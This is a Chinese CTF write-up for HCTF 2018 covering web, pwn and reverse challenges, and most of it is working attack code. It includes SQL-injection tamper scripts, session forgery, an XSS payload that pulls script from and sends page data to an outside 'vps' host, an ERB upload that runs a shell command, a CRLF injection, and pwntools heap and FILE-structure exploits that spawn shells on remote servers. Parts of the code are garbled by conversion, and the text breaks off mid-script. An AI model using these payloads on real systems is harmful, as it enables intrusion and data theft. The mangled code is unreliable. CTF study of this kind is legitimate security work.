## 前言

一个招新小广告:FlappyPig 长期招新,尤其是 reverse+pwn 大佬。只要你感兴趣,只要你有耐心,只要你好学!!!请联系zsbpro@163.com。

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# HCTF 2018 Online WriteUp

Web

Warmup

```
打开题目,f12发现
<!--source.php-->
以及hint和link: http://warmup.2018.hctf.io/index.php?file=hint.php:
flag not here, and flag in ffffllllaaaagggg
看到source.php,发现源代码
<?php
   class emmm
   {
       public static function checkFile(&$page)
           $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
           if (! isset($page) || !is_string($page)) {
              echo "you can't see it";
              return false;
           }
           if (in_array($page, $whitelist)) {
              return true;
           }
           $_page = mb_substr(
              $page,
              mb_strpos($page . '?', '?')
           if (in_array($_page, $whitelist)) {
              return true;
           $_page = urldecode($page);
           $_page = mb_substr(
              $_page,
              mb_strpos($_page . '?', '?')
           );
           if (in_array($_page, $whitelist)) {
              return true;
           echo "you can't see it";
           return false;
       }
   }
   if (! empty($_REQUEST['file'])
       && is_string($_REQUEST['file'])
       && emmm::checkFile($_REQUEST['file'])
```

```
) {
       include $_REQUEST['file'];
      exit;
  } else {
      echo "<br/>img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
?>
发现只有
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
才能通过,但发现截取有问题
$_page = mb_substr(
              $_page,
              mb_strpos($_page . '?', '?')
          );
随即构造
http://warmup.2018.hctf.io/?file=hint.php?/../../../../../../fffffllllaaaagggg
即可拿到flag
Kzone
我们发现在用cookie做身份校验的时候查询了数据库
if ($_COOKIE["login_data"]) {
       $login_data = json_decode($_COOKIE['login_data'], true);
       $admin_user = $login_data['admin_user'];
       $udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
发现其中用了json_decode,那么我们可以尝试使用编码进行bypass,即可无视一切过滤进行注入
脚本如下
a.txt:
POST /admin/list.php HTTP/1.1
Host: kzone.2018.hctf.io
Content-Length: 33
Cache-Control: max-age=0
Origin: http://kzone.2018.hctf.io
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Referer: http://kzone.2018.hctf.io/admin/login.php
Accept-Encoding: gzip, deflate
X-Forwarded-For: 127.0.1.3,1,2,3,4
Accept-Language: zh-CN, zh;q=0.9, en;q=0.8, zh-TW;q=0.7
Cookie: PHPSESSID=7notm2n004aen7oln00ohd9ei3; islogin=1; login_data=*
Connection: close
user=rr123&pass=rr123&login=Login
Command:
python sqlmap.py -r a.txt --tamper=hctf --dbs --dbms=mysql --thread=10 -D hctf_kouzone -T F1444g -C F1a9 --dump -v3
tamper/hctf.py
#!/usr/bin/env python
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
  pass
def tamper(payload, **kwargs):
  data = '''{ "admin_user": "%s"};'''
```

```
payload = payload.lower()
  payload = payload.replace('u', '\u0075')
  payload = payload.replace('o', '\u006f')
  payload = payload.replace('i', '\u0069')
  payload = payload.replace('\'', '\u0027')
  payload = payload.replace('\"', '\u0022')
  payload = payload.replace(' ', '\u0020')
  payload = payload.replace('s', '\u0073')
  payload = payload.replace('#', '\u0023')
  payload = payload.replace('>', '\u003e')
  payload = payload.replace('<', '\u003c')</pre>
  payload = payload.replace('-', '\u002d')
  payload = payload.replace('=', '\u003d')
  payload = payload.replace('fla9', 'Fla9')
  payload = payload.replace('f1', 'F1')
  return data % payload
admin
在非常迷茫的时候,肯定想到必须得结合改密码功能,那会不会是change这里有问题,于是仔细去看代码,发现使用了strlower()
def strlower(username):
  username = nodeprep.prepare(username)
  return username
后来搜到这样一篇文章
对于如下字母
具体编码可查https://unicode-table.com/en/search/?q=small+capital
nodeprep.prepare会进行如下操作
■ -> A -> a
我们容易想到一个攻击链:
• 注册用户 dmin
• 登录用户□dmin,变成Admin
• 修改密码Admin,更改了admin的密码
于是成功得到flag
hide and seek
思路很清晰, 伪造admin即可
然后发现软连接可用来任意文件读取,那么想到读取secret_key
读文件,文件名来源于日志
ln -s /app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py 1.txt
zip -y 1.zip 1.txt
得到内容
# -*- coding: utf-8 -*-
from flask import Flask, session, render_template, redirect, url_for, escape, request, Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name___)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
```

app.config['MAX\_CONTENT\_LENGTH'] = 100 \* 1024

```
def allowed_file(filename):
   return '.' in filename and \setminus
          filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/', methods=['GET'])
def index():
   error = request.args.get('error', '')
   if(error == '1'):
       session.pop('username', None)
       return render_template('index.html', forbidden=1)
   if 'username' in session:
       return render_template('index.html', user=session['username'], flag=flag.flag)
   else:
       return render_template('index.html')
@app.route('/login', methods=['POST'])
def login():
   username=request.form['username']
   password=request.form['password']
   if request.method == 'POST' and username != '' and password != '':
       if(username == 'admin'):
           return redirect(url_for('index',error=1))
       session['username'] = username
   return redirect(url_for('index'))
@app.route('/logout', methods=['GET'])
def logout():
   session.pop('username', None)
   return redirect(url_for('index'))
@app.route('/upload', methods=['POST'])
def upload_file():
   if 'the_file' not in request.files:
       return redirect(url_for('index'))
   file = request.files['the_file']
   if file.filename == '':
       return redirect(url_for('index'))
   if file and allowed_file(file.filename):
       filename = secure_filename(file.filename)
       file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
       if(os.path.exists(file_save_path)):
           return 'This file already exists'
       file.save(file_save_path)
   else:
       return 'This file is not a zipfile'
   try:
       extract_path = file_save_path + '_'
       os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
       read_obj = os.popen('cat ' + extract_path + '/*')
       file = read_obj.read()
       read_obj.close()
       os.system('rm -rf ' + extract_path)
   except Exception as e:
       file = None
   os.remove(file_save_path)
   if(file != None):
       if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
           return redirect(url_for('index', error=1))
   return Response(file)
```

ALLOWED EXTENSIONS = set(['zip'])

```
if __name__ == '__main__':
   #app.run(debug=True)
  app.run(host='127.0.0.1', debug=True, port=10008)
关键语句
random.seed(uuid.getnode())
app = Flask(__name___)
app.config['SECRET_KEY'] = str(random.random()*100)
但是SECRET_KEY是随机数,需要预测,那么需要py版本号
ln -s /app/main.py 1.txt
zip -y 1.zip 1.txt
发现内容
from flask import Flask
app = Flask(__name__)
@app.route("/")
def hello():
  return "Hello World from Flask in a uWSGI Nginx Docker container with \
   Python 3.6 (default)"
if __name__ == "__main__":
   app.run(host='0.0.0.0', debug=True, port=80)
发现python是3.6版本的,那么即可尝试预测随机数
对于uuid.getnode()
尝试读取/sys/class/net/eth0/address
得到12:34:3e:14:7c:62
计算十进制: 20015589129314
用python3.6去看一下随机数
random.seed(20015589129314)
print str(random.random()*100)
得到secret_key=11.935137566861131
尝试伪造session
eyJ1c2VybmFtZSI6ImFkbWluIn0.Dskfqg.pA9vis7kXInrrctifopdPNUOQ0k
得到flag
game
这题贼无聊。。。order by password就行,然后一直注册fuzz
import requests
import hashlib
import threading
def md5(str):
  sha = hashlib.md5(str)
  encrypts = sha.hexdigest()
  return encrypts
def reg(username,password):
  url = 'http://game.2018.hctf.io/web2/action.php?action=reg'
  data = {
      "username":username,
       "password":password,
       "sex":"1",
       "submit": "submit"
  headers = {
       'Connection': 'close',
```

```
}
    r = requests.post(url=url,data=data,headers=headers)
def fuzz(start.end):
    for i in range(start,end):
           password = 'dSa8&&!@#$%^&dlnGylaS3dja'+chr(i)
           username=md5(password)
           content = username + " " + password +" "+ str(i) + "\n"
           reg(username, password)
           print content
    print str(start)+'~'+str(end)+"complete"
step=20
for i in range(33,127,step):
    t = threading.Thread(target=fuzz, args=(i, i+step))
     t.start()
一位一位得到密码dSa8&&!@#$%^&d1nGy1aS3dja
登录admin,即可
share
在http://share.2018.hctf.io/home/Alphatest里看到我们的uid和当前file number。
在http://share.2018.hctf.io/home/share存在XSS。
content填入xss代码:<img src=s onerror='var
p=document.createElement("script");p.src="https://vps";document.body.appendChild(p);'>Download url随便填。
读取后台web页面,可以看到主要能用到的有addtest和upload。其中addtest提交到/file/Alpha_test,upload提交到/file/upload。
这两个的代码在tobots.txt中都有。这两个url都做了限定只有admin才能提交。
因此我们需要利用xss上传我们的文件。读取源码可以知道这是ruby on rails。我们可以上传erb模板文件。
在源码中使用了Tempfile.new(name.split('.'+ext)[0],Rails.root.to_s+"/public/upload")
队友找到cve 2018-6914(ruby2.5.0的hint, 我本地版本不对卡了好久。。。。)
参考:https://hackerone.com/reports/302298,我们可以构造文件名为/../../app/views/home/aa38.erb,文件内容<%= `cat /flag `
%>,在这里文件名和文件内容都需要base64编码一次。
上传文件js payload:
$.get("http://share.2018.hctf.io/home/upload",function(data){
     var token=data.substr(data.indexOf('name="authenticity_token" value="')+33,88);
     var formData = new FormData();
     formData.append("authenticity_token", token);
     formData.append("file[context]", "zxcvxzcvxzcv");
    var content = 'PCU9IGBjYXQgL2ZsYWcgYCAlPg=='; //
########base64
     var blob = new Blob([content], { type: "image/png"});
     formData.append("file[myfile]", blob,"Ly4uLy4uL2FwcC92aWV3cy9ob21lL2FhMzguZXJi"); //
    formData.append("commit", 'submit');
    var request = new XMLHttpRequest();
    request.open("POST", "http://share.2018.hctf.io/file/upload");
    request.send(formData);
    request.onreadystatechange=function()
     {
            if (request.readyState==4)
                  $.ajax({url:'http://vps/',type:'POST',data:{'request_respone':request.response,'request_status':request.status},dat
});
上传之后我们的erb模板就已经躺在home目录下面了。但是需要通过管理员分享给自己才能拿到文件名。
文件分享payload:
$.get("http://share.2018.hctf.io/home/addtest",function(data){
    var token=data.substr(data.indexOf('name="authenticity_token" value="')+33,88);
     \$.ajax(\{url: 'http://share.2018.hctf.io/file/Alpha\_test', type: 'POST', data: \{'token': token, 'uid': '3', 'fid': '23', 'commit': 'submit': 'sub
            $.get("http://vps/?set=aaa",function(b){});
     }});
});
```

这里的fid就是当前文件个数。最后一个上传的文件就是我们的文件。 然后查看home/Alphatest,就能拿到文件名。 最后访问http://share.2018.hctf.io/?page=aa3820181111-336-12y58wh获取flag。

#### bottle

登录进去发现有个path的302跳转,猜测这里有xss,试了一下不行,根据提示得到firefoxdriver,猜测有crlf,结合Transfer-Encoding chunked头,尝试了一下post请求,这里要加content-length和xss-proction就可以弹回来了,然后就是替换bot的cookie,payload

 $\verb|http://bottle.2018.hctf.io/path?path=http://bottle.2018.hctf.io:22/user \$0d \$0aX-XSS-Protection:0\$0d \$0aContent-Length:300 \$0d \$0a \$0aContent-Length:300 \$0d \$0aContent-Length:300 \$0aContent-Length:300 \$0d \$0aContent-Length:300 \$0d \$0aContent-Length:300 \$0a$ 

#### Pwn

### easyexp

#make chunk C

```
from pwn import *
context.endian = "little"
context.os = "linux"
context.arch = "amd64" #i386
context.terminal = ["deepin-terminal", '-x', 'sh', '-c']
context.word_size = 64 #32
context.log_level = "debug" #info, warn, critical
global io
binary = "./easyexp"
if __name__ == "__main__":
  elf = ELF(binary)
   libc = ELF("./libc.so.6")
   pipe_argv = [binary,""]
   pipe_env = {"LD_PRELOAD":"./libc.so.6"}
   #pipe_env = {}
   #io = process(pipe_argv, env=pipe_env)
   io = remote('150.109.46.159',20004)
   io.sendlineafter('token:', 'Ooh0jQajnHvoGq2lTlMt9tkT0EkellEa')
   #pause()
   print io.readuntil("name: ")
   io.sendline("x" * 16)
   print io.readuntil("x" * 16)
   pid_buf = io.readuntil("@")[:-1]
   log.warn(pid_buf.encode("hex"))
   if len(pid_buf) == 1:
      pid = u8(pid_buf)
   elif len(pid_buf) == 2:
     pid = u16(pid_buf)
   print io.readuntil("$")
   io.sendline("mkfile 12")
   io.readuntil("something:")
   #make chunk A
   io.sendline("\x2f" * 0x30 + "a" * 0x50)
   print io.readuntil("$")
   io.sendline("mkfile \x36")
   io.readuntil("something:")
   #make chunk B
   io.sendline("2" * 0x37)
   path = "../../proc/{}/cwd/(unreachable)/tmp".format(pid)
   print io.readuntil("$")
   io.sendline("mkdir " + path )
   print io.readuntil("$")
   io.sendline("mkfile 123")
   io.readuntil("something:")
```

```
io.sendline("3" * 0x100 + p16(0x150))
print io.readuntil("$")
io.sendline("mkfile 1234")
io.readuntil("something:")
#make chunk D
io.sendline("4" * 0x90)
#OVERLAP CHUNK C
path = "../../" + "\x77" * (5 + 0x38) + p16(0x151)
print io.readuntil("$")
io.sendline("mkdir " + path )
#OVERLAP CHUNK C
path = "../../" + "\xspace x77" * (5 + 0x37)
print io.readuntil("$")
io.sendline("mkdir " + path )
#OVERLAP CHUNK C
path = "../../" + "\x^{77}" * (5 + 0x36)
print io.readuntil("$")
io.sendline("mkdir " + path )
#OVERLAP CHUNK C
path = "../../" + "\xspace x77" * (5 + 0x35)
print io.readuntil("$")
io.sendline("mkdir " + path )
#OVERLAP CHUNK C
path = "../../" + "\xspace x77" * (5 + 0x34)
print io.readuntil("$")
io.sendline("mkdir " + path )
#OVERLAP CHUNK C
path = "../../" + "\xspace x77" * (5 + 0x33)
print io.readuntil("$")
io.sendline("mkdir " + path )
#OVERLAP CHUNK C
path = "../../" + "\xspace x77" * (5 + 0x32)
print io.readuntil("$")
io.sendline("mkdir " + path )
#OVERLAP CHUNK C
path = "../../" + "\xspace x77" * (5 + 0x31)
print io.readuntil("$")
io.sendline("mkdir " + path )
#OVERLAP CHUNK C
print io.readuntil("$")
io.sendline("mkdir " + path )
#free and malloc to make an overlap chunk
print io.readuntil("$")
io.sendline("mkfile 12345")
io.readuntil("something:")
io.sendline("5" * 0x130)
#fake overlaped chunk
for i in range(0, 0x10):
   print io.readuntil("$")
    io.sendline("mkfile 12345")
    io.readuntil("something:")
    io.sendline("5" * (0x47 - i))
print io.readuntil("$")
io.sendline("mkfile 12345")
io.readuntil("something:")
io.sendline("5" * 0x38 + p64(0x110))
for i in range(0, 0x7):
```

```
print io.readuntil("$")
    io.sendline("mkfile 12345")
    io.readuntil("something:")
    io.sendline("5" * (0x37 - i))
print io.readuntil("$")
io.sendline("mkfile 12345")
io.readuntil("something:")
io.sendline("5" * 0x30 + p32(0x30))
#make fake chunk
print io.readuntil("$")
io.sendline("mkfile 12345")
io.readuntil("something:")
io.sendline("5" * 0x18 + p64(0x6031e0 - 0x10))
print io.readuntil("$")
io.sendline("mkfile 12345")
io.readuntil("something:")
io.sendline("5" * 0x10 + p64(0x6031e0 - 0x18)[:7])
print io.readuntil("$")
io.sendline("mkfile 12345")
io.readuntil("something:")
io.sendline("5" * 0x8 + p64(0x31)[:7])
print io.readuntil("$")
io.sendline("mkfile 12345")
io.readuntil("something:")
io.sendline(p64(0)[:7])
print io.readuntil("$")
io.sendline("mkfile 123")
io.readuntil("something:")
io.sendline("3" * 0x100 + p16(0x110))
print io.readuntil("$")
io.sendline("mkfile 12345")
io.readuntil("something:")
io.sendline("\x00")
pause()
#free 3 to make unlink attack
print io.readuntil("$")
io.sendline("mkfile 123456")
io.readuntil("something:")
io.sendline("3" * 0x19)
print io.readuntil("$")
io.sendline("mkfile 12345")
io.readuntil("something:")
io.sendline("\xcc" * 0x18 + p32(elf.got["strlen"]))
io.readuntil("$")
io.sendline("cat 12345")
leak_libc = u64(io.readline()[1:-1].ljust(8,"\x00"))
print hex(leak_libc)
libc_base = leak_libc - libc.symbols["strlen"]
one_gadget = libc.symbols["system"] + libc_base
log.info("libc_base--->{}".format(hex(libc_base)))
pause()
print io.readuntil("$")
io.sendline("mkfile 12345")
io.readuntil("something:")
```

```
io.sendline(p64(one gadget)[:7])
  io.readuntil("$")
  io.sendline("mkdir /bin/sh")
  io.interactive()
babyprintf_ver2
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from __future__ import print_function
from pwn import *
binary = './babyprintf_ver2'
elf = ELF(binary)
libc = elf.libc
io = process(binary, aslr = 0)
\#io = remote('150.109.44.250', 20005)
context.log_level = 'debug'
context.arch = elf.arch
context.terminal = ['tmux', 'splitw', '-h']
myu64 = lambda x: u64(x.ljust(8, '\0'))
ub\_offset = 0x3c4b30
io.recvuntil("So I change the buffer location to ")
code\_base = int(io.recvuntil("\n")[:-1], 16) - 0x202010
log.info("\033[33m" + hex(code_base) + "\033[0m")
pay = 'a' * 0x10
pay += p64(code_base+0x202030) * 2
# now start the fake stdout
# 0x155555327760 <_IO_2_1_stdout_>:
                                   0x00000000fbad2887
                                                          0x00001555553277e3
# 0x155555327770 <_IO_2_1_stdout_+16>: 0x00001555553277e3
                                                          0x00001555553277e3
# 0x155555327780 <_IO_2_1_stdout_+32>: 0x00001555553277e3
                                                          0x00001555553277e3
# 0x155555327790 <_IO_2_1_stdout_+48>: 0x00001555553277e3
                                                          0x00001555553277e3
# 0x1555553277a0 <_IO_2_1_stdout_+64>: 0x00001555553277e4
                                                          0x0000000000000000
0x0000000000000000
# 0x1555553277c0 <_IO_2_1_stdout_+96>: 0x0000000000000000
                                                          0x0000155555326a00
0xfffffffffffffff
0x00001555553288c0
0x0000000000000000
# 0x155555327800 <_IO_2_1_stdout_+160>: 0x00001555553268c0
                                                          0x0000000000000000
0x0000000000000000
# 0x155555327820 <_IO_2_1_stdout_+192>: 0x00000000fffffffff
                                                          0x0000000000000000
# 0x155555327830 <_IO_2_1_stdout_+208>: 0x00000000000000000
                                                          0x00001555553232a0
pav += p64(0xfbad2887)
pay += p64(code_base + 0x201fb0) # _IO_read_ptr
pay += p64(code_base + 0x201fb0) # _IO_read_end
pay += p64(code_base + 0x201fb0) # _IO_read_base
pay += p64(code_base + 0x201fb0) # _IO_write_base
pay += p64(code_base + 0x201fb0 + 8) # _IO_write_ptr
pay += p64(code_base + 0x201fb0) # _IO_write_end
pay += p64(code_base + 0x201fb0) # _IO_buf_base
pay += p64(code_base + 0x201fb0 + 8) # _IO_buf_end
pay += p64(0) * 4
pay += p64(0x0000155555326a00)
pav += p64(1)
pay += p64(0xfffffffffffffff)
pay += p64(0x0000000000000000)
pay += p64(code_base + 0x202200) # bypass _IO_acquire_locks...
pav += p64(0) * 3
pay += p64(0x00000000ffffffff)
pay += p64(0) * 2
```

```
io.sendline(pay)
io.recvuntil("permitted!\n")
libc_addr = myu64(io.recvn(8)) - libc.symbols['puts']
libc.address = libc_addr
log.info("\033[33m" + hex(libc_addr) + "\033[0m")
def www(addr, c):
  pay = 'a'.ljust(0x10)
  pay += p64(code_base+0x202030) * 2
  # now start the fake stdout
  # 0x155555327760 <_IO_2_1_stdout_>:
                                           0x00000000fbad2887
                                                                   0x00001555553277e3
  # 0x155555327770 <_IO_2_1_stdout_+16>:
                                           0x00001555553277e3
                                                                   0x00001555553277e3
  # 0x155555327780 <_IO_2_1_stdout_+32>:
                                           0x00001555553277e3
                                                                   0x00001555553277e3
  # 0x155555327790 <_IO_2_1_stdout_+48>:
                                           0x00001555553277e3
                                                                   0x00001555553277e3
  # 0x1555553277a0 <_IO_2_1_stdout_+64>:
                                                                   0×00000000000000000
                                           0x00001555553277e4
  # 0x1555553277b0 <_IO_2_1_stdout_+80>:
                                           0×00000000000000000
  # 0x1555553277c0 <_IO_2_1_stdout_+96>:
                                           0x0000155555326a00
  # 0x1555553277d0 <_IO_2_1_stdout_+112>: 0x00000000000000001
                                                                   0xffffffffffffffff
  # 0x1555553277e0 <_IO_2_1_stdout_+128>:
                                           0x000000000a000000
                                                                   0x00001555553288c0
  # 0x1555553277f0 <_IO_2_1_stdout_+144>:
                                           0xffffffffffffffff
                                                                   0×00000000000000000
  # 0x155555327800 <_IO_2_1_stdout_+160>:
                                                                   0×00000000000000000
                                           0x00001555553268c0
  # 0x155555327810 <_IO_2_1_stdout_+176>:
                                           0x00000000000000000
                                                                   0×00000000000000000
  # 0x155555327820 <_IO_2_1_stdout_+192>:
                                           0x00000000ffffffff
                                                                   0×00000000000000000
  0x00001555553232a0
  pay += p64(0xfbad2887)
  pay += p64(code_base + 0x2020b3) # _IO_read_ptr
  pay += p64(code_base + 0x2020b3) # _IO_read_end
  pay += p64(code_base + 0x2020b3) # _IO_read_base
  pay += p64(code_base + 0x2020b3) # _IO_write_base
  pay += p64(code_base + 0x2020b3) # _IO_write_ptr
  pay += p64(code_base + 0x2020b3) # _IO_write_end
  pay += p64(addr) # _IO_buf_base
  pay += p64(code\_base + 0x2020b3 + 1) # _IO\_buf\_end
  pay += p64(0) * 4
  pay += p64(code\_base + 0x202030)
  pay += p64(1) # _fileno
  pay += p64(0xffffffffffffffff)
  pay += p64(0x0000000000000000)
  pay += p64(code_base + 0x202200) # bypass _IO_acquire_locks...
  pay += p64(0) * 3
  pay += p64(0x00000000ffffffff)
  pay += p64(0) * 2
  pay += p64(0x00000000ffffffff)
  io.sendline(pay)
  io.sendline(c)
gdb.attach(io, '')
www(libc.symbols['__malloc_hook'], 'a')
io.sendline('%100000p')
io.interactive()
the end
#/usr/bin/python
from pwn import *
context.endian = "little"
context.os = "linux"
context.arch = "amd64" #i386
context.word size = 64 #32
context.log_level = "debug" #info, warn, critical
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
```

```
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
 [rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
 [rsp+0x70] == NULL
global io
binary = "./the_end"
def write4(date):
   for one in data:
       io.send(p64(one[0]))
       io.send(chr(one[1]))
#0x00007f436cc2d6e0 stdin->vtable
#0x00007f436cc2e3e0 a pointer --> one byte
#0x00007f436cc2e400 0x00007f436c9f67e9
                     0x00007f436c95a2a4 one_gadget --> 3 bytes
stdin->vtable 0x00007fa1e55679b8 0x00007fa1e55666e0
if __name__ == "__main__":
   elf = ELF(binary)
   libc = ELF("./libc.so.6")
   pipe_argv = [binary,""]
   pipe_env = {"LD_PRELOAD":"./libc.so.6"}
   #io = process(pipe_argv, env=pipe_env)
   io = remote("150.109.46.159", 20002)
   io.readuntil("Input your token:")
   io.sendline("Ooh0jQajnHvoGq2lTlMt9tkT0EkellEa")
   io.readuntil("here is a gift ")
   libc_sleep = int(io.readuntil(",")[2:-1], 16)
   libc_base = libc_sleep - libc.symbols["sleep"]
   log.info("libc_base-->{}".format(hex(libc_base)))
   one_gadget = 0xf02a4 + libc_base
   log.info(hex(one_gadget))
   stdin_vtable = 0x3c49b8 + libc_base
   io.readline()
   data = []
   data.append([libc_base + 0x3c4bf8 + 0, ((one_gadget) >> 0) & 0xff])
   data.append([libc_base + 0x3c4bf8 + 1, ((one_gadget) >> 8) & 0xff])
   \texttt{data.append([libc\_base + 0x3c4bf8 + 2, ((one\_gadget) >> 16) \& 0xff])}
   \texttt{data.append}([\texttt{libc\_base} + \texttt{0x3c49b8} + \texttt{1}, ((\texttt{0x3c4be0} + \texttt{libc\_base}) >> \texttt{8}) & \texttt{0xff}])
   pause()
   write4(data)
   io.interactive()
   '''enter'''
   '''enter'''
   '''exec 1>&0'''
Reverse
spiral
main函数中比较简单
输入通过arqv[1]送入
sub_12F9E0中检查格式,并返回除"hctf{}"外的字符个数,要求为73
sub_12FB10中分隔输入,处理为46+27两段内容
sub_12F430中检查第一段46个字符
```

sub\_12F070中解码并写出一个驱动 sub\_12E430中在注册表里注册该驱动

下文所有关于硬件虚拟化的了解都是基于做题时搜索查询的,可能会有不少错误,还望指出海涵。

check1(sub\_12F430)

将每个字符分为高5位和低3位,分别保存成两个数组根据低3位在sub\_12F650中变化高5位,变化的方法都是很简单的加和异或然后将两个数组合成一个,最后比较反向处理根据结果的奇数位字节反向变换偶数位字节,再合并即可

check2(spiral\_core.sys)

在写出的函数中将后27个字符放入字节数组中,即作为驱动的data保存 动调可获得完整内容

入口

驱动入口为DriverEntry,几个处理函数用处都不大,关键只有sub\_403310这一个函数开始read了cr寄存器和msr寄存器,申请了几个内存,保存了各种寄存器,不用太关心但是从sub\_401596中可以看到一个不常见的指令:vmxon这里开始才显露出这个题目的真正獠牙:硬件虚拟化vmxon表示VMX(Virtual-Machine Extensions)的启动

关键在sub\_402B60中的一系列操作

大部分的东西其实都是不用看的,我估计出题人也不是自己一句一句写的(XD,调用的就两个函数VM\_WRITE和READ\_MSR

关键在最后一个sub\_401631,里面是另一个不常见的指令:vmlaunchvmlaunch表示Guest虚拟机启动,下面运行的指令就都跟外层物理机无关了

相关资料中的流程高度相似,可以以此参考

vmlaunch以后,最大的区别就是一些特殊指令将会被VMX捕获,进入到VMExitProc函数中进行处理这个函数在0x402f61处绑定到结构体中

vmwrite(0x6C16, (int)VMExitProc);

默认状态下,IDA似乎没有识别到这个函数,只是一个Dword需要自己找到对应的地址按P来CreateFunction

VMEXITPROC分析

这个函数中基本都是环境的保存和恢复 核心逻辑在sub\_402880中 开头的五个调用可以参照上文的相关资料恢复出符号

## //**EEEE**Exit

ULONG ExitReason = VMRead\_ULONG(VMX\_VMCS\_RO\_EXIT\_REASON);//0x4402
ULONG ExitInterruptionInformation = VMRead\_ULONG(VMX\_VMCS\_RO\_EXIT\_INTERRUPTION\_INFO);//0x4404
ULONG ExitInstructionLength = VMRead\_ULONG(VMX\_VMCS\_RO\_EXIT\_INSTR\_LENGTH);//0x440C
ULONG ExitQualification = VMRead\_ULONG(VMX\_VMCS\_RO\_EXIT\_QUALIFICATION);//0x6400

这里的关键是ExitReason,也就是下面处理的switch的变量可以参考这篇资料

对照发现,VMExitProc中对CPUID、INVD、VMCALL、CR\_ACCESS、MSR\_READ、MSR\_WRITE这几条指令有特殊处理,之后我们需要特殊分析

通过分析几个handler可以大体构建出整个程序的目的

在处理handler之前,首先要声明两个数据结构

几个handler都是在操作他俩,而IDA由于丢失符号导致这两个结构识别的很破碎,需要自己根据handler和上下文语义来恢复主要是最后检查的时候范围为data的9x9,而对vm\_code的几次操作都不超过10

int vm\_code[10]
int data[9][9]

cpuid\_handler

根据eax选择对vm\_code异或的数组

invd\_handler

根据eax变换vm\_code

值得一提的是dword\_405374这个数组是vm\_code-4(byte)的地方

vmcall\_handler

首先拆解eax,高1字节作为command,高2字节处理后作为data的index,低2字节选择是否逆序,低1字节作为input的index

主要是根据command和vm\_code来处理data

这里有一个很容易误解的点

Dword\_405174(point\_data)处是一个指针,指针指向data[9][9]的首地址&data[0][0]

从汇编可以很容易看出来

.text:00401CE9 mov eax, point\_data
.text:00401CEE mov ecx, [eax+edx\*4]

我们知道,在C语言中定义一个数组a[10],那么a就是常量&a[0]。此时如果再令指针p=&a[0]=a,则a[x]等价于\*(a + x\*4)等价于\*(p+x\*4)等价于p[x] 也就是说,a[x]和p[x]实际上是相同的

而在IDA中,或者说是汇编中,p和a却是两个量:a是常量地址,在汇编中表示为数组首地址,而p则是一个指针,指向数组首地址。这意味着对a查看交叉引用找不到对p的调用

这么讲很好理解,但是在汇编里我觉得有点懵orz

好的,说了这么多其实就是说point\_data等价于data

vm\_code对应的几个函数都是修改data的

最后有两个与众不同的, 0xdd和0xff

0xdd里有vmxoff的调用,显然是退出虚拟机用的

0xff里则是一个检查data的函数

简单理一下可以看出来,一共循环9次,每次根据一个数组拿到9个下标,然后要求data的这9个数为不重复的1-9

PS: 这里的check函数虽然有个局部变量作为结果,但是并不会返回,也不影响任何东西,所以正确与否几乎没有显式体现以及check的9次循环参数给的都是1,正常情况下应该为1-9,需要自己根据理解修正

readmsr\_handler

根据eax变换data

于是现在有了操作方式和最终结果,接下来只要看vm是怎么操作的就可以了

Guest虚拟机的流程

从vmlaunch往后

首先将Dword\_40557C赋值为0,这是个虚拟机是否成功运行的标志变量,由Guest虚拟机执行,则当vmoff以后物理机中的该变量将仍然为1。

## 继续往后走,退到0x4016E0处

.text:0040171D	mov	eax,	0DEADBEEFh
.text:00401722	cpuid		
.text:00401724	mov	eax,	4437h
.text:00401729	invd		
.text:0040172B	mov	eax,	174h
.text:00401730	mov	ecx,	176h
.text:00401735	rdmsr		

这七句分别令VMExitProc调用了cpuid\_handler、invd\_handler和readmsr\_handler,注意readmsr\_handler中eax为0x174,而不是0x176,这里F5状态下IDA会将ecx作为

继续往后走,进到sub\_4030B0中

里面除了几个rdmsr和invd以外就是大量的vmcall在修改data

值得注意的是最后一个参数为vmcall(OxFFEEDEAD);

按照vmcall\_handler的意思,这里应该是进行fake\_check的

所以处理到这里就结束了

在0x4016CD出的cpuid和invd不纳入考虑是因为此时的代码仍然是物理机执行的,因此这些指令不会被VMX的VMExitProc捕获进行处理

#### 求解

总体来看就是将input和data进行了一些运算,最后按照给定下标进行校验9x9的数独推好计算,然后逆运算也是可行的但是让我手算数独是不可能的,这辈子都是不可能的

z3启动!

```
全盘照抄,将input填入27个BitVec(32)即可最后sovle一下就行
```

def read msr(x):

刚开始求出了个多解,死活交不上,后来问了手出题人才想起来多解的情况给自己提个醒,一共有6个多解,事实上也是可以接受的z3的约束求解只会掏出一个可行解,要跑出所有解需要自己另行去重以前也做过类似的操作,只不过不像这次使用的去重代码更通用以后使用z3时最好都考虑上多解的可能

由于大量函数直接从IDA中复制,因此一些代码会比较丑陋,XD见谅

```
\mathtt{data} = [0x07, 0xE7, 0x07, 0xE4, 0x01, 0x19, 0x03, 0x50, 0x07, 0xE4, 0x01, 0x20, 0x06, 0xB7, 0x07, 0xE4, 0x01, 0x22, 0x00, 0xE8, 0x07, 0xE8, 0x01, 0x22, 0x00, 0xE8, 0xE8,
flag = ""
for i in range(46):
        v = data[i*2]
         v1 = data[i*2+1]
        if(v==0):
                    v1 -= 34
         elif(v==1):
                    v1 -= 19
         elif(v==2):
